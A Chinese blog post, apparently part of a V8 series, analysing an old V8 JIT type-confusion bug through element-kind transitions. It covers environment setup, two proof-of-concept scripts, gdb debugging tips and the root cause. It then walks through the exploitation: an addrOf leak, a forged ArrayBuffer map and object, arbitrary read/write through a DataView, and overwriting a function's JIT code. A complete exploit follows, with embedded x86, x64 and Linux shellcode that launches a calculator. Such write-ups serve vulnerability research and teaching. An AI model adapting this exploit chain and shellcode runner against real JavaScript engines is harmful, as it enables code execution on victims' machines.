本文为本博客V8系列第三篇。
漏洞基本信息
根据漏洞基本信息可准备分析环境,先切换至漏洞修复前版本。
git checkout 9a493631005539cdabb7366352e8dd8188141a80
gclient sync
对源码进行编译。
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
PoC
参考了如下两个POC:
var array = [[{}], [1.1]];
var double_arr2 = [1.1,2.2];
function transition() {
for(var i = 0; i < array.length; i++){
var arr = array[i];
arr[0] = {};
}
}
var flag = 0;
function swap() {
try {} catch(e) {} // Prevent Crankshaft from inlining this.
if (flag == 1) {
array[1] = double_arr2;
}
}
var expected = 6.176516726456e-312;
function f(){
Math.sin(1);
swap();
double_arr2[0] = 1;
transition();
double_arr2[1] = expected;
}
%DebugPrint(double_arr2);
f();
%OptimizeFunctionOnNextCall(f);
flag = 1;
f();
print ("111");
print (expected === double_arr2[1]);
print ("222")
第二个是大佬大宝的:
var array = [[{}], [1.1]];
function transition() {
for(var i = 0; i < array.length; i++){
var arr = array[i];
arr[0] = {};
}
}
var double_arr2 = [1.1,2.2];
var flag = 0;
function swap() {
try {} catch(e) {} // Prevent Crankshaft from inlining this.
if (flag == 1) {
array[1] = double_arr2;
}
}
var expected = 6.176516726456e-312;
function f(){
swap();
double_arr2[0] = 1;
transition();
double_arr2[1] = expected;
}
// %OptimizeFunctionOnNextCall(f);
for(var i = 0; i < 0x10000; i++) {
f();
}
flag = 1;
f();
assertEquals(expected, double_arr2[1]);
分别使用这两个POC对漏洞版本v8进行测试,可能第一个POC更加容易理解,该POC代码执行后会在倒数第二行的代码处报错,最后一行的输出并不会执行,原因是对double_arr2的解析会报错。
漏洞成因
调试分析
本漏洞在gdb调试时可能出现数据无法正常读出的情况,因此,需要使用gdb的attach功能,大致方法如下:
- 在一个terminal中运行测试脚本:
gdb d8 --allow-natives-syntax ./test.js
,脚本中的%SystemBreak();
全都换成readline();
这样脚本会停在readline这里等用户输入并回车。 - 在另一个terminal里用
ps -uf
命令查看步骤1中的进程号,然后用sudo gdb d8(一定要sudo!),进入后用attach 进程号来调试这个进程,attach上以后记得先用stop命令让进程暂停下来。
结论
那么仔细看一下本漏洞的大致原理是什么呢?关键在于transition和swap这两个函数。
swap函数不仅仅是需要JIT优化,还要防止自己因为过短而被inline进f()。
transition这个函数看似没有对我们的array和double_arr2进行任何改变,仅仅只修改了局部变量arr。但是,这只是代码表面现象,实际上v8会对array中的两个元素进行优化调整。并且这个优化调整还会在flag=1时在swap中涉及到double_arr。
最后由于执行次数太多,swap和transition会进行JIT优化并去除一些类型检查。最终的效果就是double_arr2在访问时会直接把自己的元素上保存的数据当作double值给直接返回出来,而不是正常情况下把它们作为double对象的指针去寻找目标内存中下一个的数据作为double来返回。
根据上面的分析,这个漏洞最后的表现为:由于double_arr2开始直接把自己元素的指针当作double来返回了,所以在f()里直接对double_arr2进行object赋值,这样访问double_arr后就能直接得到object的地址了。于是这就是个任意地址读的原语addrOf(object),这里并没有暴露出很明显的fakeObject原语。
漏洞利用
步骤一
第一步,我们先创建了一个var ab = new ArrayBuffer(0x20);
。
然后用addrOf原语泄露出ab.__proto__的地址,这个地址就是%DebugPrint(ab)中包含的prototype的地址。并且通过-0x70就可以得到ab_constructor_addr的地址。
步骤二
第二步,新建ab_map_obj变量,是个uint32,总共12个int32或6个int64的数组:
var ab_map_obj = [
nop,nop,
0x1f000008,0x000900c0,0x082003ff,0x0,
nop,nop, // use ut32.prototype replace it
nop,nop,0x0,0x0
];
然后对其中的[6,7,8,9]
进行赋值,把第一步得到的ab_proto_addr和ab_constructor_addr两个64位数据给了这4个32位。
接下来新建var ab_map_obj_float = [1.1,1.1,1.1,1.1,1.1,1.1];
长度为6的double64数组。使用工具函数change_to_float把ab_map_obj里的12个int32都赋值给 ab_map_obj_float。通过addrOf原语得到 ab_map_obj_float的地址,然后+0x40就是这6个float64数据的存储位置,这6个数据现在伪装成了一个arraybuffer的map。
步骤三
第三步,新建两个变量:(和第二步差不多)
var fake_ab = [
ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
0x0,0x4000, // buffer length
0x12345678,0x123,// buffer address
0x4,0x0
]
var fake_ab_float = [1.1,1.1,1.1,1.1,1.1,1.1];
把fake_ab的数据也保存进fake_ab_float,然后用原语泄露地址。最后通过+0x40来获得6个float64数据的位置。这6个数据现在已经伪装成一个arraybuffer了。
步骤四
第四步,本步骤在double_arr42[1]上保存上步得到的fake_ab_float_addr的数据。于是再次从double_arr42[1]上取出来时,已经是一个假的arraybuffer了,赋值给fake_arraybuffer。 此时,我们既可以用fake_ab_float来任意修改这6个float64数据,同时这6个float64数据也被认为是个arraybuffer,其中因此通过修改backing store属性就可以进行任意读写。
步骤五-七
第五步,本步骤用原语得到了function_to_shellcode函数对象的地址,并通过+0x38得到code对象的位置。
第六步,用任意读能力从code属性得到函数的汇编地址。
第七步,把汇编地址存入backing store,接下来就可以改写函数汇编代码了,之后执行这个函数就行。
最终效果
执行该exploit后可以成功执行shellcode并弹出计算器:
完整EXP
//var shellcode = [0xcccccccc,0x90909090];
var shellcode_dict = {
"x86":"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
+"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
+"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
+"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
+"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
+"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
+"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
+"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
+"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
+"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
+"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
+"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
+"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00",
"x64": "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
+"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
+"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
+"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
+"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
+"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
+"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
+"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
+"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
+"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
+"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
+"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
+"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
+"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
+"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
+"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
+"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
+"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
+"\x63\x2e\x65\x78\x65\x00",
"linux-x64-bd":"\x90\x90\x90\x90\x90\x90\x90\x90"
+"\x78\x2f\xb8\x48\x63\x6c\x61\x63"
+"\x48\x50\x00\x00\x73\x75\x2f\xb8"
+"\x69\x62\x2f\x72\x89\x48\x50\x6e"
+"\xc0\x31\x48\xe7\x89\x48\x57\x50"
+"\xd2\x31\x48\xe6\x3a\xc0\xc7\x48"
+"\x50\x00\x00\x30\x49\x44\xb8\x48"
+"\x41\x4c\x50\x53\x48\x50\x3d\x59"
+"\x31\x48\xe2\x89\x48\x52\x50\xc0"
+"\xc7\x48\xe2\x89\x00\x00\x3b\xc0"
+"\x05\x0f\x00",
"linux-x64-ld":"\x90\x90\x90\x90\x90\x90\x90\x90"
+"\x48\xb8\x2f\x78\x63\x61\x6c\x63"
+"\x00\x00\x50\x48\xb8\x2f\x75\x73"
+"\x72\x2f\x62\x69\x6e\x50\x48\x89"
+"\xe7\x48\x31\xc0\x50\x57\x48\x89"
+"\xe6\x48\x31\xd2\x48\xc7\xc0\x3a"
+"\x30\x00\x00\x50\x48\xb8\x44\x49"
+"\x53\x50\x4c\x41\x59\x3d\x50\x48"
+"\x89\xe2\x48\x31\xc0\x50\x52\x48"
+"\x89\xe2\x48\xc7\xc0\x3b\x00\x00"
+"\x00\x0f\x05"
};
var shellcode_str = shellcode_dict["linux-x64-ld"];
var shellcode_buf = new ArrayBuffer(shellcode_str.length);
var shellcode = new Uint8Array(shellcode_buf);
for (var i=0, strLen=shellcode_str.length; i<strLen; i++) {
shellcode[i] = shellcode_str.charCodeAt(i);
}
function d2u(num1,num2){ // uint32*2 --> float64
d = new Uint32Array(2);
d[0] = num2;
d[1] = num1;
f = new Float64Array(d.buffer);
return f[0];
}
function encode_to_float64(num) { // float64 --> uint64
%DebugPrint(num);
f = new Float64Array(1);
f[0] = num;
d = new Uint32Array(f.buffer);
return d[1] * 0x100000000 + d[0];
}
function change_to_float(intarr,floatarr){ // uint32-array --> float-array
var j = 0;
for(var i = 0;i < intarr.length;i = i+2){
var re = d2u(intarr[i+1],intarr[i]);
floatarr[j] = re;
j++;
}
}
// 1. leak ArrayBuffer address
flag = 0;
var array = [[{}], [1.1]];
var double_arr_2 = [1.1, 2.2];
var ab = new ArrayBuffer(0x20);
function read_obj_addr(object){
function swap(){ // swap
try {} catch(e) {}
if(flag == 1){
//print("GT1");
array[0x1] = double_arr_2;
}
};
function carry_me_plz(arr,obj){ // transition
for(var i = 0;i < arr.length;i++){
var o = arr[i];
o[0] = obj;
}
}
function sorry(){
swap();
double_arr_2[0] = 1.1;
carry_me_plz(array,object);
return double_arr_2[0];
}
for(var i = 0;i < 0x1000;i++){
carry_me_plz(array,object);
}
for(var i = 0;i < 0x1000;i++){
sorry();
}
/*
carry_me_plz(array,object);
sorry();
%OptimizeFunctionOnNextCall(carry_me_plz);
%OptimizeFunctionOnNextCall(sorry);
*/
flag = 1;
re = encode_to_float64(sorry());
return re;
}
ab_proto_addr = read_obj_addr(ab.__proto__);
//print("*******1.ab_proto_addr: 0x" + ab_proto_addr.toString(0x10));
ab_constructor_addr = ab_proto_addr - 0x70;
%DebugPrint(ab);
%DebugPrint(ab.__proto__);
%DebugPrint(double_arr_2);
%DebugPrint(ab_proto_addr);
%DebugPrint(ab_constructor_addr);
print("*******1.ab_proto_addr: 0x" + ab_proto_addr.toString(0x10));
readline();
//---------------------------------------------------------------------------------
var nop = 0xdaba0000;
var ab_map_obj = [
nop,nop,
0x1f000008,0x000900c0,0x082003ff,0x0,
nop,nop, // use ut32.prototype replace it
nop,nop,0x0,0x0
];
ab_map_obj[0x6] = ab_proto_addr & 0xffffffff;
ab_map_obj[0x7] = ab_proto_addr / 0x100000000;
ab_map_obj[0x8] = ab_constructor_addr & 0xffffffff;
ab_map_obj[0x9] = ab_constructor_addr / 0x100000000;
float_arr = [];
var ab_map_obj_float = [1.1,1.1,1.1,1.1,1.1,1.1];
change_to_float(ab_map_obj,ab_map_obj_float);
flag = 0;
var array2 = [[{}], [1.1]];
var double_arr22 = [1.1, 2.2];
var valueOf2 = {};
valueOf2.valueOf = function(){
if(flag == 1){
array2[0x1] = double_arr22;
}
return 1;
};
function read_obj_addr2(object){
function carry_me_plz(arr,obj){
for(var i = 0;i < arr.length;i++){
var o = arr[i];
o[0] = obj;
}
}
function sorry(){
1 + valueOf2;
double_arr22[0] = 1.1;
carry_me_plz(array2,object);
return double_arr22[0];
}
for(var i = 0;i < 0x1000;i++){
carry_me_plz(array2,object);
}
for(var i = 0;i < 0x1000;i++){
sorry();
}
/*
carry_me_plz(array2,object);
sorry();
%OptimizeFunctionOnNextCall(carry_me_plz);
%OptimizeFunctionOnNextCall(sorry);
*/
flag = 1;
re = encode_to_float64(sorry());
return re;
}
ab_map_obj_addr = read_obj_addr2(ab_map_obj_float) + 0x40;
//print("*******2.ab_map_obj_addr: 0x" + ab_map_obj_addr.toString(0x10)); // addr of the six data
%DebugPrint(ab_map_obj);
%DebugPrint(ab_map_obj_float);
%DebugPrint(double_arr22);
%DebugPrint(ab_proto_addr);
%DebugPrint(ab_constructor_addr);
print("*******2.ab_map_obj_addr: 0x" + ab_map_obj_addr.toString(0x10));
readline();
//-----------------------------------------------------------------------------
var fake_ab = [
ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
0x0,0x4000, // buffer length
0x12345678,0x123,// buffer address
0x4,0x0
]
var fake_ab_float = [1.1,1.1,1.1,1.1,1.1,1.1];
change_to_float(fake_ab,fake_ab_float);
flag = 0;
var array3 = [[{}], [1.1]];
var double_arr32 = [1.1, 2.2];
var valueOf3 = {};
valueOf3.valueOf = function(){
if(flag == 1){
array3[0x1] = double_arr32;
}
return 1;
};
function read_obj_addr3(object){
function carry_me_plz(arr,obj){
for(var i = 0;i < arr.length;i++){
var o = arr[i];
o[0] = obj;
}
}
function sorry(){
1 + valueOf3;
double_arr32[0] = 1.1;
carry_me_plz(array3,object);
return double_arr32[0];
}
for(var i = 0;i < 0x1000;i++){
carry_me_plz(array3,object);
}
for(var i = 0;i < 0x1000;i++){
sorry();
}
/*
carry_me_plz(array3,object);
sorry();
%OptimizeFunctionOnNextCall(carry_me_plz);
%OptimizeFunctionOnNextCall(sorry);
*/
flag = 1;
re = encode_to_float64(sorry());
return re;
}
fake_ab_float_addr = read_obj_addr3(fake_ab_float) + 0x40; // addr of the data
//print("*******3.fake_ab_float_addr: 0x" + fake_ab_float_addr.toString(0x10));
%DebugPrint(double_arr32);
%DebugPrint(fake_ab);
%DebugPrint(fake_ab_float);
print("*******3.fake_ab_float_addr: 0x" + fake_ab_float_addr.toString(0x10));
readline();
//------------------------------------------------------------------------
flag = 0;
var array4 = [[{}], [1.1]];
var double_arr42 = [1.1, 2.2];
var valueOf4 = {};
valueOf4.valueOf = function(){
if(flag == 1){
array4[0x1] = double_arr42;
}
return 1;
};
fake_ab_float_addr_f = d2u(fake_ab_float_addr / 0x100000000,fake_ab_float_addr & 0xffffffff);
function carry_me_plz_fake(arr){
for(var i = 0;i < arr.length;i++){
var o = arr[i];
ttt = o[0];
}
}
function sorry_fake(){
1 + valueOf4;
double_arr42[0] = 1.1;
carry_me_plz_fake(array4);
double_arr42[1] = fake_ab_float_addr_f
}
for(var i = 0;i < 0x1000;i++){
carry_me_plz_fake(array4);
}
for(var i = 0;i < 0x1000;i++){
sorry_fake();
}
flag = 1;
sorry_fake();
fake_arraybuffer = double_arr42[1];
fake_dv = new DataView(fake_arraybuffer,0,0x4000);
//print("*******4.fake_ab_float_addr_f: 0x" + fake_ab_float_addr_f.toString(0x10));
%DebugPrint(fake_ab_float_addr_f);
print("*******4.fake_ab_float_addr_f: 0x" + fake_ab_float_addr_f.toString(0x10));
%DebugPrint(double_arr42);
//%DebugPrint(fake_arraybuffer); // the same as 3.fake_ab_float_addr
%DebugPrint(fake_dv);
readline();
//------------------------------------------------------------------------------
var function_to_shellcode = function () {
eval('');
}
flag = 0;
var array5 = [[{}], [1.1]];
var double_arr52 = [1.1, 2.2];
var valueOf5 = {};
valueOf5.valueOf = function(){
if(flag == 1){
array5[0x1] = double_arr52;
}
return 1;
};
function read_obj_addr5(object){
function carry_me_plz(arr,obj){
for(var i = 0;i < arr.length;i++){
var o = arr[i];
o[0] = obj;
}
}
function sorry(){
1 + valueOf5;
double_arr52[0] = 1.1;
carry_me_plz(array5,object);
return double_arr52[0];
}
for(var i = 0;i < 0x1000;i++){
carry_me_plz(array5,object);
}
for(var i = 0;i < 0x1000;i++){
sorry();
}
flag = 1;
re = encode_to_float64(sorry());
return re;
}
shellcode_address_ref = read_obj_addr5(function_to_shellcode) + 0x38-1;
print("5.shellcode_address_ref: 0x" + shellcode_address_ref.toString(0x10));
%DebugPrint(function_to_shellcode);
readline();
/************************************** And now,we get arbitrary memory read write!!!!!! ******************************************/
function Read32(addr){
fake_ab_float[4] = d2u(addr / 0x100000000,addr & 0xffffffff);
return fake_dv.getUint32(0,true);
}
function Write32(addr,value){
fake_ab_float[4] = d2u(addr / 0x100000000,addr & 0xffffffff);
fake_dv.setUint32(0,value,true);
}
shellcode_address = Read32(shellcode_address_ref) + Read32(shellcode_address_ref+0x4) * 0x100000000;
var addr = shellcode_address;
fake_ab_float[4] = d2u(addr / 0x100000000,addr & 0xffffffff);
for(var i = 0; i < shellcode.length;i++){
var value = shellcode[i];
fake_dv.setUint8(i,value,true);
}
print("*******6.start to shellcode");
readline();
function_to_shellcode();